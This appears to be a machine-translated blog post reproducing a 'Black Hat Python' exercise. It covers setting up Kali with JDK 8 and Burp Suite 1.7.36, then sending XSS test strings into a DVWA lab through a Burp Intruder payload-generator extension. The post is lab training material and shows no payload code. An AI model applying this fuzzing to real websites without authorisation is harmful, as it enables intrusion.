Recently, I received a network security book presented by the electronic industry press 《python Black hat 》, There are a total of 24 An experiment , Today, I will repeat the 15 An experiment （burpsuite Core generator plug-in ）, My test environment is mbp The computer +kali virtual machine +dvwa Online range . Currently only supported python2.7 Environment , Slightly adjust the soft links , Then I put kali Upper jdk and burpsuite It's all uninstalled , The last one is jdk 1.8 and burpsuite 1.7.36, The experiment was successfully reproduced , By the way , After many experiments , Only hand ripe ～
Step one ： Environmental preparation
kali install jdk1.8
apt-get update
apt-get install software-properties-common
apt-add-repository 'deb http://security.debian.org/debian-security stretch/updates main'
apt-get update
apt-get install openjdk-8-jdk
choice jdk1.8
update-alternatives --config java
to update python2 Soft connection
ln -s /usr/bin/python2 /usr/bin/python
Install a lower version of burpsuite 1.7.36
wget https://portswigger.net/burp/releases/download?product=community&version=1.7.36&type=linux
sudo chmod +x burpsuite_community_linux_v1_7_36.sh
sudo ./burpsuite_community_linux_v1_7_36.sh
Successful import , Please note that there is no Chinese in the path
Step two ： Experimental website preparation
choice dvwa Online range [1]
Step three ： Practical drill
1、 Get into xss Injection module , Submit a string
2、 And then in burp Of proxy modular , Send payload to intruder modular
3、 stay intruder Module payload Under the page , choice payload type by Extension-generated, And then in payload options Choose from BHP Payload Generator And it's done ～
4、 Click on start attack, The pop-up window is actually tested here , But the display is not friendly
